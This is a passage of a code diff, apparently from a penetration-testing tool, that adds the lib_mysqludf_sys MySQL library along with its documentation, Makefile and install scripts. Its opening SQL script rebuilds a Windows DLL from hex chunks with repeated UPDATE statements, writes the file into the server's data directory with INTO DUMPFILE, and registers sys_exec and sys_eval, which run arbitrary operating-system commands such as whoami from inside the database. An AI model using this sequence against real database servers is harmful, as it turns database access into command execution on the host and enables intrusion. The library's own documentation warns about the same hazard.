UPDATE udftest SET data=CONCAT(data,0x5c537973186d0bafbbd0ee2b41737365094c69ddeef634405f686974396d5f2e5fdffedaf6616d73670878110b646a753a5f666469fbb0f6bb760d5f4370705863b9b65f63721b05ec076164035f686f6f6b4bb800b6f62f636a835f1c75017c01a55f1d735ec16dce0a1f0a6c2164ad58b0adf02a17096e75131346982c0f652f5f3dd65cdbda723456fe6d1c187b0af67db1b7035f706f52296e1064687b2f80ef756c5e6d75a61bdcd696252cb3066ed633b8ed19d82508661167efbd83db5a9ce4790835c7b73773ad32c06e4d0fd76f737bcd950d75667216232e00ffffff1f19274b254920211c2f63183427310c0917251217136517090705160cbffdffff1e080a0b160918181505061b050c10060717062105110f061421110b93efffdb082b2205070d111d0d18532d4838060007d9fead950848330a090b0c0510051616f76fff760e0b34150b18160d3d0542b605121e14066932c7dae67f110c0e1d4d0517230d0c24082400f0a2410be2ff042804f0280104e008041cca0fab7f43d64c010500ce2e8e4938e000642160f902210b01090e6612f6bdc972121710090b021ed27cb3c905070360045bf6deef32f61e40012a0207069fb9dc062703b7013c230f40e7a6cc6c4fb000500227ec40565dc0771cd9d0214207926e59002fac2e746c36d8e66578741a0c900eb74260ddd287602e72647661ab08fb6b);
|
||||||
|
UPDATE udftest SET data=CONCAT(data,0x0e5bc20a1302402e2649d374dffe032730021c0bd6b84dc04f737235ebb0d10860df731e4f4dc920cdcd5e4f980150223e72fb4d421b242412a052445300000000000000000900ff0000000000000000807c2408010f85b901000060be007000108dbe00a0ffff5783cdffeb0d9090908a064688074701db75078b1e83eefc11db72edb80100000001db75078b1e83eefc11db11c001db73ef75098b1e83eefc11db73e431c983e803720dc1e0088a064683f0ff747489c501db75078b1e83eefc11db11c901db75078b1e83eefc11db11c975204101db75078b1e83eefc11db11c901db73ef75098b1e83eefc11db73e483c10281fd00f3ffff83d1018d142f83fdfc760f8a02428807474975f7e963ffffff908b0283c204890783c70483e90477f101cfe94cffffff5e89f7b92a0000008a07472ce83c0177f7803f0075f28b078a5f0466c1e808c1c01086c429f880ebe801f0890783c70588d8e2d98dbe005000008b0709c0743c8b5f048d8430b472000001f35083c708ff96f0720000958a074708c074dc89f95748f2ae55ff96f472000009c07407890383c304ebe16131c0c20c0083c7048d5efc31c08a074709c074223cef771101c38b0386c4c1c01086c401f08903ebe2240fc1e010668b0783c702ebe28baef87200008dbe00f0ffffbb0010000050546a045357ffd58d870f02000080207f8060287f585054);
|
||||||
|
UPDATE udftest SET data=CONCAT(data,0x505357ffd558618d4424806a0039c475fa83ec80e9f998ffff00000048000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000300010c02200100100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000);
|
||||||
|
UPDATE udftest SET data=CONCAT(data,0x0000000000000000040000000000010018000000180000800000000000000000040000000000010002000000300000800000000000000000040000000000010009040000480000005c80000056020000e404000000000000584000003c617373656d626c7920786d6c6e733d2275726e3a736368656d61732d6d6963726f736f66742d636f6d3a61736d2e763122206d616e696665737456657273696f6e3d22312e30223e0d0a20203c7472757374496e666f20786d6c6e733d2275726e3a736368656d61732d6d6963726f736f66742d636f6d3a61736d2e7633223e0d0a202020203c73656375726974793e0d0a2020202020203c72657175657374656450726976696c656765733e0d0a20202020202020203c726571756573746564457865637574696f6e4c6576656c206c6576656c3d226173496e766f6b6572222075694163636573733d2266616c7365223e3c2f726571756573746564457865637574696f6e4c6576656c3e0d0a2020202020203c2f72657175657374656450726976696c656765733e0d0a202020203c2f73656375726974793e0d0a20203c2f7472757374496e666f3e0d0a20203c646570656e64656e63793e0d0a202020203c646570656e64656e74417373656d626c793e0d0a2020202020203c617373656d626c794964656e7469747920747970653d2277696e333222206e616d653d224d);
|
||||||
|
UPDATE udftest SET data=CONCAT(data,0x6963726f736f66742e564339302e435254222076657273696f6e3d22392e302e32313032322e38222070726f636573736f724172636869746563747572653d2278383622207075626c69634b6579546f6b656e3d2231666338623362396131653138653362223e3c2f617373656d626c794964656e746974793e0d0a202020203c2f646570656e64656e74417373656d626c793e0d0a20203c2f646570656e64656e63793e0d0a3c2f617373656d626c793e504100000000000000000000000010830000f08200000000000000000000000000001d83000008830000000000000000000000000000000000000000000028830000368300004683000056830000648300000000000072830000000000004b45524e454c33322e444c4c004d5356435239302e646c6c00004c6f61644c69627261727941000047657450726f634164647265737300005669727475616c50726f7465637400005669727475616c416c6c6f6300005669727475616c46726565000000667265650000000000000000ca2e8e49000000003a840000010000000f0000000f000000a4830000e08300001c840000301000004012000000100000501200004012000010120000f01100004012000010120000a010000040120000601000009011000070110000e01000004f84000065840000828400009d840000a6840000b6840000c4840000cd840000);
|
||||||
|
UPDATE udftest SET data=CONCAT(data,0xdd840000eb840000f3840000028500000f850000178500002685000000000100020003000400050006000700080009000a000b000c000d000e006c69625f6d7973716c7564665f7379732e646c6c006c69625f6d7973716c7564665f7379735f696e666f006c69625f6d7973716c7564665f7379735f696e666f5f6465696e6974006c69625f6d7973716c7564665f7379735f696e666f5f696e6974007379735f6576616c007379735f6576616c5f6465696e6974007379735f6576616c5f696e6974007379735f65786563007379735f657865635f6465696e6974007379735f657865635f696e6974007379735f676574007379735f6765745f6465696e6974007379735f6765745f696e6974007379735f736574007379735f7365745f6465696e6974007379735f7365745f696e6974000000700000100000005d3c583e5c3e00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000);
|
||||||
|
|
||||||
|
|
||||||
|
-- Export the hexadecimal encoded UDF to a binary file on the file system
|
||||||
|
--
|
||||||
|
-- On MySQL 5.1 >= 5.1.19 and on any version of MySQL 6.0:
|
||||||
|
--
|
||||||
|
-- From MySQL 5.1 and 6.0 official documentation:
|
||||||
|
--
|
||||||
|
-- shared_library_name is the basename of the shared object file
|
||||||
|
-- that contains the code that implements the function. The file
|
||||||
|
-- must be located in the plugin directory. This directory is given
|
||||||
|
-- by the value of the plugin_dir system variable.
|
||||||
|
--
|
||||||
|
-- The DLL must be in can be in C:\Program Files\MySQL\MySQL Server M.m\lib\plugin
|
||||||
|
--
|
||||||
|
-- Note that C:\Program Files\MySQL\MySQL Server M.m\lib\plugin DOES NOT
|
||||||
|
-- exist by default so it is NOT possible to save the DLL in the proper
|
||||||
|
-- folder where MySQL server looks for DLLs.
|
||||||
|
--
|
||||||
|
-- References:
|
||||||
|
-- http://dev.mysql.com/doc/refman/5.1/en/create-function-udf.html
|
||||||
|
-- http://dev.mysql.com/doc/refman/6.0/en/create-function-udf.html
|
||||||
|
--
|
||||||
|
-- The DLL can be only in C:\Program Files\MySQL\MySQL Server M.n\lib\plugin
|
||||||
|
-- SELECT data FROM udftest INTO DUMPFILE 'C:/Program Files/MySQL/MySQL Server 5.1/lib/plugin/lib_mysqludf_sys.dll'; -- On MySQL 5.1 >= 5.1.19
|
||||||
|
-- SELECT data FROM udftest INTO DUMPFILE 'C:/Program Files/MySQL/MySQL Server 6.0/lib/plugin/lib_mysqludf_sys.dll'; -- On MySQL 6.0
|
||||||
|
--
|
||||||
|
-- On MySQL 4.1 < 4.1.25, MySQL 5.0 < 5.0.67 and MySQL 5.1 < 5.1.19:
|
||||||
|
--
|
||||||
|
-- From MySQL 4.1 and 5.0 official documentation:
|
||||||
|
--
|
||||||
|
-- shared_library_name is the basename of the shared object file
|
||||||
|
-- that contains the code that implements the function. As of MySQL
|
||||||
|
-- M.m.m, the file must be located in the plugin directory. This
|
||||||
|
-- directory is given by the value of the plugin_dir system variable.
|
||||||
|
-- If the value of plugin_dir is empty, the behavior that is used
|
||||||
|
-- before M.m.m applies: The file must be located in a directory
|
||||||
|
-- that is searched by your system's dynamic linker.
|
||||||
|
--
|
||||||
|
-- References:
|
||||||
|
-- http://dev.mysql.com/doc/refman/4.1/en/create-function-udf.html
|
||||||
|
-- http://dev.mysql.com/doc/refman/5.0/en/create-function-udf.html
|
||||||
|
--
|
||||||
|
-- The DLL can be in either C:\WINDOWS, C:\WINDOWS\system,
|
||||||
|
-- C:\WINDOWS\system32, @@basedir\bin or @@datadir (tested on MySQL 4.1.22
|
||||||
|
-- and MySQL 5.0.67 with NO plugin_dir set in my.ini configuration file,
|
||||||
|
-- which is the default setting)
|
||||||
|
-- SELECT data FROM udftest INTO DUMPFILE 'C:/Program Files/MySQL/MySQL Server 4.1/data/lib_mysqludf_sys.dll'; -- On MySQL 4.1 < 4.1.25 and on MySQL 4.1 >= 4.1.25 with NO plugin_dir set in my.ini configuration file
|
||||||
|
-- SELECT data FROM udftest INTO DUMPFILE 'C:/Program Files/MySQL/MySQL Server 5.0/data/lib_mysqludf_sys.dll'; -- On MySQL 5.0 < 5.0.67 and on MySQL 5.0 >= 5.0.67 with NO plugin_dir set in my.ini configuration file
|
||||||
|
-- SELECT data FROM udftest INTO DUMPFILE 'C:/Program Files/MySQL/MySQL Server 5.1/data/lib_mysqludf_sys.dll'; -- On MySQL 5.1 < 5.1.19 with NO plugin_dir set in my.ini configuration file
|
||||||
|
--
|
||||||
|
-- Notes:
|
||||||
|
-- If the library file already exists, the user SYSTEM does not have access
|
||||||
|
-- to overwrite it
|
||||||
|
-- The following enumerates the MySQL data directory
|
||||||
|
-- SELECT @@datadir
|
||||||
|
-- The followings will save into @@datadir. It is a valid PATH where MySQL
|
||||||
|
-- looks for DLL
|
||||||
|
SELECT data FROM udftest INTO DUMPFILE './lib_mysqludf_sys.dll';
|
||||||
|
-- The followings will save into @@datadir\mysql where 'mysql' is the
|
||||||
|
-- database name where it is connected. It is not a valid PATH where MySQL
|
||||||
|
-- looks for DLL
|
||||||
|
-- SELECT data FROM udftest INTO DUMPFILE 'lib_mysqludf_sys.dll';
|
||||||
|
-- SELECT data FROM udftest INTO DUMPFILE '\lib_mysqludf_sys.dll';
|
||||||
|
-- The following will save into C:\. It is not a valid PATH where MySQL
|
||||||
|
-- looks for DLL
|
||||||
|
-- SELECT data FROM udftest INTO DUMPFILE '/lib_mysqludf_sys.dll';
|
||||||
|
|
||||||
|
|
||||||
|
-- Create two functions from the binary UDF file
|
||||||
|
-- DROP FUNCTION sys_exec; -- without 'IF EXISTS ' on MySQL < 5.0
|
||||||
|
-- DROP FUNCTION sys_eval; -- without 'IF EXISTS ' on MySQL < 5.0
|
||||||
|
DROP FUNCTION IF EXISTS sys_exec; -- On MySQL >= 5.0
|
||||||
|
DROP FUNCTION IF EXISTS sys_eval; -- On MySQL >= 5.0
|
||||||
|
CREATE FUNCTION sys_exec RETURNS int SONAME 'lib_mysqludf_sys.dll';
|
||||||
|
CREATE FUNCTION sys_eval RETURNS string SONAME 'lib_mysqludf_sys.dll';
|
||||||
|
|
||||||
|
|
||||||
|
-- Test the two functions
|
||||||
|
SELECT sys_exec('echo test > %TEMP%/lib_mysqludf_sys.txt'); -- %TEMP% path is C:\WINDOWS\Temp
|
||||||
|
SELECT sys_eval('echo %TEMP% && whoami');
|
||||||
|
|
||||||
|
|
||||||
|
-- Cleanup the file system and the database
|
||||||
|
SELECT sys_exec('del %TEMP%/lib_mysqludf_sys.*');
|
||||||
|
DROP TABLE IF EXISTS udftest;
|
||||||
|
-- DROP FUNCTION sys_exec; -- without 'IF EXISTS ' on MySQL < 5.0
|
||||||
|
-- DROP FUNCTION sys_eval; -- without 'IF EXISTS ' on MySQL < 5.0
|
||||||
|
DROP FUNCTION IF EXISTS sys_exec; -- On MySQL >= 5.0
|
||||||
|
DROP FUNCTION IF EXISTS sys_eval; -- On MySQL >= 5.0
|
||||||
278
extra/mysqludfsys/lib_mysqludf_sys/doc/lib_mysqludf_sys.html
Normal file
278
extra/mysqludfsys/lib_mysqludf_sys/doc/lib_mysqludf_sys.html
Normal file
@@ -0,0 +1,278 @@
|
|||||||
|
<?xml version="1.0" encoding="UTF-8" ?>
|
||||||
|
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
|
||||||
|
<html xmlns="http://www.w3.org/1999/xhtml">
|
||||||
|
<head>
|
||||||
|
<link rel="stylesheet" type="text/css" href="../mysqludf.css"/>
|
||||||
|
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
|
||||||
|
<title>lib_mysqludf_sys - A library of MySQL UDFs for working with the environment in which MySQL runs</title>
|
||||||
|
</head>
|
||||||
|
<body>
|
||||||
|
<div>
|
||||||
|
<a href="../index.html">Top</a>
|
||||||
|
| <a href="../mysql_udf_repository_libraries.html">Up</a>
|
||||||
|
</div>
|
||||||
|
<h1>lib_mysqludf_sys</h1>
|
||||||
|
<div>
|
||||||
|
<a href="lib_mysqludf_sys.html">Documentation</a>
|
||||||
|
| <a href="lib_mysqludf_sys.so">Binary</a>
|
||||||
|
| <a href="lib_mysqludf_sys.sql">Installation</a>
|
||||||
|
| <a href="lib_mysqludf_sys.c">Source</a>
|
||||||
|
| <a href="lib_mysqludf_sys_0.0.2.tar.gz">tar.gz</a>
|
||||||
|
</div>
|
||||||
|
<p>
|
||||||
|
This library <code>lib_mysqludf_sys</code> contains a number of functions that allows one to interact with the operating system.
|
||||||
|
</p>
|
||||||
|
<ol>
|
||||||
|
<li><a href="#sys_eval"><code>sys_eval</code></a> - executes an arbitrary command, and returns it's output.</li>
|
||||||
|
<li><a href="#sys_exec"><code>sys_exec</code></a> - executes an arbitrary command, and returns it's exit code.</li>
|
||||||
|
<li><a href="#sys_get"><code>sys_get</code></a> - gets the value of an environment variable.</li>
|
||||||
|
<li><a href="#sys_set"><code>sys_set</code></a> - create an environment variable, or update the value of an existing environment variable.</li>
|
||||||
|
</ol>
|
||||||
|
<p>
|
||||||
|
Use <a href="#lib_mysqludf_sys_info"><code>lib_mysqludf_sys_info()</code></a> to obtain information about the currently installed version of <code>lib_mysqludf_sys</code>.
|
||||||
|
</p>
|
||||||
|
|
||||||
|
|
||||||
|
<a name="sys_eval"></a><h2>sys_eval</h2>
|
||||||
|
<p>
|
||||||
|
<code>sys_eval</code> takes one command string argument and executes it, returning its output.
|
||||||
|
</p>
|
||||||
|
<h3>Syntax</h3>
|
||||||
|
<pre>sys_eval(<b>arg1</b>)</pre>
|
||||||
|
<h3>Parameters and Return Values</h3>
|
||||||
|
<dl>
|
||||||
|
<dt><code><b>arg1</b></code></dt>
|
||||||
|
<dd>
|
||||||
|
A command string valid for the current operating system or execution environment.
|
||||||
|
</dd>
|
||||||
|
<dt>returns</dt>
|
||||||
|
<dd>
|
||||||
|
Whatever output the command pushed to the standard output stream.
|
||||||
|
</dd>
|
||||||
|
</dl>
|
||||||
|
<h3>Installation</h3>
|
||||||
|
<p>
|
||||||
|
Place the shared library binary in an appropriate location.
|
||||||
|
Log in to mysql as root or as another user with sufficient privileges, and select any database.
|
||||||
|
Then, create the function using the following DDL statement:
|
||||||
|
</p>
|
||||||
|
<pre>
|
||||||
|
CREATE FUNCTION sys_eval RETURNS STRING SONAME 'lib_mysqludf_sys.so';
|
||||||
|
</pre>
|
||||||
|
<p>
|
||||||
|
The function will be globally available in all databases.
|
||||||
|
</p>
|
||||||
|
<p>
|
||||||
|
The deinstall the function, run the following statement:
|
||||||
|
</p>
|
||||||
|
<pre>
|
||||||
|
DROP FUNCTION sys_eval;
|
||||||
|
</pre>
|
||||||
|
<h3>Examples</h3>
|
||||||
|
<p>
|
||||||
|
None yet
|
||||||
|
</p>
|
||||||
|
<h3>A Note of Caution</h3>
|
||||||
|
<p>
|
||||||
|
Be very careful in deciding whether you need this function.
|
||||||
|
UDFs are available to all database users - you cannot grant EXECUTE privileges for them.
|
||||||
|
As the commandstring passed to <code>sys_exec</code> can do pretty much everything,
|
||||||
|
exposing the function poses a very real security hazard.
|
||||||
|
</p>
|
||||||
|
<p>
|
||||||
|
Even for a benign user, it is possible to accidentally do a lot of damage with it.
|
||||||
|
The call will be executed with the privileges of the os user that runs MySQL,
|
||||||
|
so it is entirely feasible to delete MySQL's data directory, or worse.
|
||||||
|
</p>
|
||||||
|
<p>
|
||||||
|
The function is intended for specialized MySQL applications where one needs extended
|
||||||
|
control over the operating system.
|
||||||
|
Currently, we do not have UDF's for ftp, email and http,
|
||||||
|
and this function can be used to implement such functionality in case it is really necessary
|
||||||
|
(datawarehouse staging areas could be a case in example).
|
||||||
|
</p>
|
||||||
|
<p>
|
||||||
|
You have been warned! If you don't see the hazard, please don't try to find it; just trust me on this.
|
||||||
|
</p>
|
||||||
|
<p>
|
||||||
|
If you do decide to use this library in a production environment, make sure that only specific commands can be run and file access is limited by using <a href="http://www.novell.com/documentation/apparmor/index.html">AppArmor</a>.
|
||||||
|
</p>
|
||||||
|
|
||||||
|
<a name="sys_exec"></a><h2>sys_exec</h2>
|
||||||
|
<p>
|
||||||
|
<code>sys_exec</code> takes one command string argument and executes it.
|
||||||
|
</p>
|
||||||
|
<h3>Syntax</h3>
|
||||||
|
<pre>sys_exec(<b>arg1</b>)</pre>
|
||||||
|
<h3>Parameters and Return Values</h3>
|
||||||
|
<dl>
|
||||||
|
<dt><code><b>arg1</b></code></dt>
|
||||||
|
<dd>
|
||||||
|
A command string valid for the current operating system or execution environment.
|
||||||
|
</dd>
|
||||||
|
<dt>returns</dt>
|
||||||
|
<dd>
|
||||||
|
An (integer) exit code returned by the executed process.
|
||||||
|
</dd>
|
||||||
|
</dl>
|
||||||
|
<h3>Installation</h3>
|
||||||
|
<p>
|
||||||
|
Place the shared library binary in an appropriate location.
|
||||||
|
Log in to mysql as root or as another user with sufficient privileges, and select any database.
|
||||||
|
Then, create the function using the following DDL statement:
|
||||||
|
</p>
|
||||||
|
<pre>
|
||||||
|
CREATE FUNCTION sys_exec RETURNS INT SONAME 'lib_mysqludf_sys.so';
|
||||||
|
</pre>
|
||||||
|
<p>
|
||||||
|
The function will be globally available in all databases.
|
||||||
|
</p>
|
||||||
|
<p>
|
||||||
|
The deinstall the function, run the following statement:
|
||||||
|
</p>
|
||||||
|
<pre>
|
||||||
|
DROP FUNCTION sys_exec;
|
||||||
|
</pre>
|
||||||
|
<h3>Examples</h3>
|
||||||
|
<p>
|
||||||
|
None yet
|
||||||
|
</p>
|
||||||
|
<h3>A Note of Caution</h3>
|
||||||
|
<p>
|
||||||
|
Be very careful in deciding whether you need this function.
|
||||||
|
UDFs are available to all database users - you cannot grant EXECUTE privileges for them.
|
||||||
|
As the commandstring passed to <code>sys_exec</code> can do pretty much everything,
|
||||||
|
exposing the function poses a very real security hazard.
|
||||||
|
</p>
|
||||||
|
<p>
|
||||||
|
Even for a benign user, it is possible to accidentally do a lot of damage with it.
|
||||||
|
The call will be executed with the privileges of the os user that runs MySQL,
|
||||||
|
so it is entirely feasible to delete MySQL's data directory, or worse.
|
||||||
|
</p>
|
||||||
|
<p>
|
||||||
|
The function is intended for specialized MySQL applications where one needs extended
|
||||||
|
control over the operating system.
|
||||||
|
Currently, we do not have UDF's for ftp, email and http,
|
||||||
|
and this function can be used to implement such functionality in case it is really necessary
|
||||||
|
(datawarehouse staging areas could be a case in example).
|
||||||
|
</p>
|
||||||
|
<p>
|
||||||
|
You have been warned! If you don't see the hazard, please don't try to find it; just trust me on this.
|
||||||
|
</p>
|
||||||
|
<p>
|
||||||
|
If you do decide to use this library in a production environment, make sure that only specific commands can be run and file access is limited by using <a href="http://www.novell.com/documentation/apparmor/index.html">AppArmor</a>.
|
||||||
|
</p>
|
||||||
|
<a name="sys_get"></a><h2>sys_get</h2>
|
||||||
|
<p>
|
||||||
|
<code>sys_get</code> takes the name of an environment variable and returns the value of the variable.
|
||||||
|
</p>
|
||||||
|
<h3>Syntax</h3>
|
||||||
|
<pre>sys_get([<b>arg1</b>)</pre>
|
||||||
|
<h3>Parameters and Return Values</h3>
|
||||||
|
<dl>
|
||||||
|
<dt><code><b>arg1</b></code></dt>
|
||||||
|
<dd>
|
||||||
|
A string that denotes the name of an environment value.
|
||||||
|
</dd>
|
||||||
|
<dt>returns</dt>
|
||||||
|
<dd>
|
||||||
|
If the variable exists, a string containing the value of the environment variable.
|
||||||
|
If the variable does not exist, the function return NULL.
|
||||||
|
</dd>
|
||||||
|
</dl>
|
||||||
|
<h3>Installation</h3>
|
||||||
|
<p>
|
||||||
|
Place the shared library binary in an appropriate location.
|
||||||
|
Log in to mysql as root or as another user with sufficient privileges, and select any database.
|
||||||
|
Then, create the function using the following DDL statement:
|
||||||
|
</p>
|
||||||
|
<pre>
|
||||||
|
CREATE FUNCTION sys_get RETURNS STRING SONAME 'lib_mysqludf_sys.so';
|
||||||
|
</pre>
|
||||||
|
<p>
|
||||||
|
The function will be globally available in all databases.
|
||||||
|
</p>
|
||||||
|
<p>
|
||||||
|
The deinstall the function, run the following statement:
|
||||||
|
</p>
|
||||||
|
<pre>
|
||||||
|
DROP FUNCTION sys_get;
|
||||||
|
</pre>
|
||||||
|
<h3>Examples</h3>
|
||||||
|
<p>
|
||||||
|
None yet
|
||||||
|
</p>
|
||||||
|
<h3>A Note of Caution</h3>
|
||||||
|
<p>
|
||||||
|
Be very careful in deciding whether you need this function.
|
||||||
|
UDFs are available to all database users - you cannot grant EXECUTE privileges for them.
|
||||||
|
The variables known in the environment where mysql runs are freely accessible using this function.
|
||||||
|
Any user can get access to potentially secret information, such as
|
||||||
|
the user that is running mysqld, the path of the user's home directory etc.
|
||||||
|
</p>
|
||||||
|
<p>
|
||||||
|
The function is intended for specialized MySQL applications where one needs extended
|
||||||
|
control over the operating system.
|
||||||
|
</p>
|
||||||
|
<p>
|
||||||
|
You have been warned! If you don't see the hazard, please don't try to find it; just trust me on this.
|
||||||
|
</p>
|
||||||
|
<a name="sys_set"></a><h2>sys_set</h2>
|
||||||
|
<p>
|
||||||
|
<code>sys_get</code> takes the name of an environment variable and returns the value of the variable.
|
||||||
|
</p>
|
||||||
|
<h3>Syntax</h3>
|
||||||
|
<pre>sys_set([<b>arg1, arg2</b>)</pre>
|
||||||
|
<h3>Parameters and Return Values</h3>
|
||||||
|
<dl>
|
||||||
|
<dt><code><b>arg1</b></code></dt>
|
||||||
|
<dd>
|
||||||
|
A string that denotes the name of an environment value.
|
||||||
|
</dd>
|
||||||
|
<dt><code><b>arg2</b></code></dt>
|
||||||
|
<dd>
|
||||||
|
An expression that contains the value that is to be assigned to the environment variable.
|
||||||
|
</dd>
|
||||||
|
<dt>returns</dt>
|
||||||
|
<dd>
|
||||||
|
0 if the assignment or creation succeed.
|
||||||
|
non-zero otherwise.
|
||||||
|
</dd>
|
||||||
|
</dl>
|
||||||
|
<h3>Installation</h3>
|
||||||
|
<p>
|
||||||
|
Place the shared library binary in an appropriate location.
|
||||||
|
Log in to mysql as root or as another user with sufficient privileges, and select any database.
|
||||||
|
Then, create the function using the following DDL statement:
|
||||||
|
</p>
|
||||||
|
<pre>
|
||||||
|
CREATE FUNCTION sys_set RETURNS STRING SONAME 'lib_mysqludf_sys.so';
|
||||||
|
</pre>
|
||||||
|
<p>
|
||||||
|
The function will be globally available in all databases.
|
||||||
|
</p>
|
||||||
|
<p>
|
||||||
|
The deinstall the function, run the following statement:
|
||||||
|
</p>
|
||||||
|
<pre>
|
||||||
|
DROP FUNCTION sys_set;
|
||||||
|
</pre>
|
||||||
|
<h3>Examples</h3>
|
||||||
|
<p>
|
||||||
|
None yet
|
||||||
|
</p>
|
||||||
|
<h3>A Note of Caution</h3>
|
||||||
|
<p>
|
||||||
|
Be very careful in deciding whether you need this function.
|
||||||
|
UDFs are available to all database users - you cannot grant EXECUTE privileges for them.
|
||||||
|
This function will overwrite existing environment variables.
|
||||||
|
</p>
|
||||||
|
<p>
|
||||||
|
The function is intended for specialized MySQL applications where one needs extended
|
||||||
|
control over the operating system.
|
||||||
|
</p>
|
||||||
|
<p>
|
||||||
|
You have been warned! If you don't see the hazard, please don't try to find it; just trust me on this.
|
||||||
|
</p>
|
||||||
|
</body>
|
||||||
|
</html
|
||||||
6
extra/mysqludfsys/lib_mysqludf_sys/linux/Makefile
Normal file
6
extra/mysqludfsys/lib_mysqludf_sys/linux/Makefile
Normal file
@@ -0,0 +1,6 @@
|
|||||||
|
LIBDIR=/usr/lib
|
||||||
|
|
||||||
|
install:
|
||||||
|
gcc -Wall -I/usr/include/mysql -O1 -shared src/lib_mysqludf_sys.c -o so/lib_mysqludf_sys.so
|
||||||
|
strip -sx so/lib_mysqludf_sys.so
|
||||||
|
sudo cp -f so/lib_mysqludf_sys.so $(LIBDIR)/lib_mysqludf_sys.so
|
||||||
47
extra/mysqludfsys/lib_mysqludf_sys/linux/install.sh
Executable file
47
extra/mysqludfsys/lib_mysqludf_sys/linux/install.sh
Executable file
@@ -0,0 +1,47 @@
|
|||||||
|
#!/bin/bash
|
||||||
|
# lib_mysqludf_sys - a library with miscellaneous (operating) system level functions
|
||||||
|
# Copyright (C) 2007 Roland Bouman
|
||||||
|
# Copyright (C) 2008-2009 Roland Bouman and Bernardo Damele A. G.
|
||||||
|
# web: http://www.mysqludf.org/
|
||||||
|
# email: mysqludfs@gmail.com, bernardo.damele@gmail.com
|
||||||
|
#
|
||||||
|
# This library is free software; you can redistribute it and/or
|
||||||
|
# modify it under the terms of the GNU Lesser General Public
|
||||||
|
# License as published by the Free Software Foundation; either
|
||||||
|
# version 2.1 of the License, or (at your option) any later version.
|
||||||
|
#
|
||||||
|
# This library is distributed in the hope that it will be useful,
|
||||||
|
# but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||||
|
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
|
||||||
|
# Lesser General Public License for more details.
|
||||||
|
#
|
||||||
|
# You should have received a copy of the GNU Lesser General Public
|
||||||
|
# License along with this library; if not, write to the Free Software
|
||||||
|
# Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
|
||||||
|
|
||||||
|
# Adapt the following settings to your environment
|
||||||
|
PORT="3306"
|
||||||
|
USER="root"
|
||||||
|
|
||||||
|
echo "Compiling the MySQL UDF"
|
||||||
|
make
|
||||||
|
|
||||||
|
if test $? -ne 0; then
|
||||||
|
echo "ERROR: You need libmysqlclient development software installed"
|
||||||
|
echo "to be able to compile this UDF, on Debian/Ubuntu just run:"
|
||||||
|
echo "apt-get install libmysqlclient15-dev"
|
||||||
|
exit 1
|
||||||
|
else
|
||||||
|
echo "MySQL UDF compiled successfully"
|
||||||
|
fi
|
||||||
|
|
||||||
|
echo -e "\nPlease provide your MySQL root password"
|
||||||
|
|
||||||
|
mysql -u ${USER} -P ${PORT} -p mysql < lib_mysqludf_sys.sql
|
||||||
|
|
||||||
|
if test $? -ne 0; then
|
||||||
|
echo "ERROR: unable to install the UDF"
|
||||||
|
exit 1
|
||||||
|
else
|
||||||
|
echo "MySQL UDF installed successfully"
|
||||||
|
fi
|
||||||
@@ -0,0 +1,35 @@
|
|||||||
|
/*
|
||||||
|
lib_mysqludf_sys - a library with miscellaneous (operating) system level functions
|
||||||
|
Copyright (C) 2007 Roland Bouman
|
||||||
|
Copyright (C) 2008-2009 Roland Bouman and Bernardo Damele A. G.
|
||||||
|
web: http://www.mysqludf.org/
|
||||||
|
email: roland.bouman@gmail.com, bernardo.damele@gmail.com
|
||||||
|
|
||||||
|
This library is free software; you can redistribute it and/or
|
||||||
|
modify it under the terms of the GNU Lesser General Public
|
||||||
|
License as published by the Free Software Foundation; either
|
||||||
|
version 2.1 of the License, or (at your option) any later version.
|
||||||
|
|
||||||
|
This library is distributed in the hope that it will be useful,
|
||||||
|
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||||
|
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
|
||||||
|
Lesser General Public License for more details.
|
||||||
|
|
||||||
|
You should have received a copy of the GNU Lesser General Public
|
||||||
|
License along with this library; if not, write to the Free Software
|
||||||
|
Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
|
||||||
|
*/
|
||||||
|
|
||||||
|
DROP FUNCTION IF EXISTS lib_mysqludf_sys_info;
|
||||||
|
DROP FUNCTION IF EXISTS sys_get;
|
||||||
|
DROP FUNCTION IF EXISTS sys_set;
|
||||||
|
DROP FUNCTION IF EXISTS sys_exec;
|
||||||
|
DROP FUNCTION IF EXISTS sys_eval;
|
||||||
|
DROP FUNCTION IF EXISTS sys_bineval;
|
||||||
|
|
||||||
|
CREATE FUNCTION lib_mysqludf_sys_info RETURNS string SONAME 'lib_mysqludf_sys.so';
|
||||||
|
CREATE FUNCTION sys_get RETURNS string SONAME 'lib_mysqludf_sys.so';
|
||||||
|
CREATE FUNCTION sys_set RETURNS int SONAME 'lib_mysqludf_sys.so';
|
||||||
|
CREATE FUNCTION sys_exec RETURNS int SONAME 'lib_mysqludf_sys.so';
|
||||||
|
CREATE FUNCTION sys_eval RETURNS string SONAME 'lib_mysqludf_sys.so';
|
||||||
|
CREATE FUNCTION sys_bineval RETURNS int SONAME 'lib_mysqludf_sys.so';
|
||||||
BIN
extra/mysqludfsys/lib_mysqludf_sys/linux/so/lib_mysqludf_sys.so
Executable file
BIN
extra/mysqludfsys/lib_mysqludf_sys/linux/so/lib_mysqludf_sys.so
Executable file
Binary file not shown.
551
